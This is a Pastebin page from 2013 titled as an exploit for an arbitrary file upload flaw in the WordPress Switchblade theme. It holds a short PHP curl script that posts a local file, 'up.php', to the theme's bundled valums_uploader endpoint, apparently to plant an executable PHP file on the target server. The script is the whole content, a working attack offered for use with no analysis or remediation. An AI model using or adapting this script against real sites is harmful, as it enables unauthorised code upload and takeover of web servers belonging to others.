CaFc_Versace

[Exploit] WordPress Switchblade Themes Arbitrary File Upload

Nov 8th, 2013
522
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.39 KB | None | 0 0
  1. <?php
  2. $uploadfile="up.php";
  3. $ch = curl_init("http://127.0.0.1/wordpress/wp-content/themes/switchblade/framework/_scripts/valums_uploader/php.php");
  4. curl_setopt($ch, CURLOPT_POST, true);
  5. curl_setopt($ch, CURLOPT_POSTFIELDS,
  6.         array('qqfile'=>"@$uploadfile"));
  7. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8. $postResult = curl_exec($ch);
  9. curl_close($ch);
  10. print "$postResult";
  11.  
  12. ?>
Advertisement
Add Comment
Please, Sign In to add comment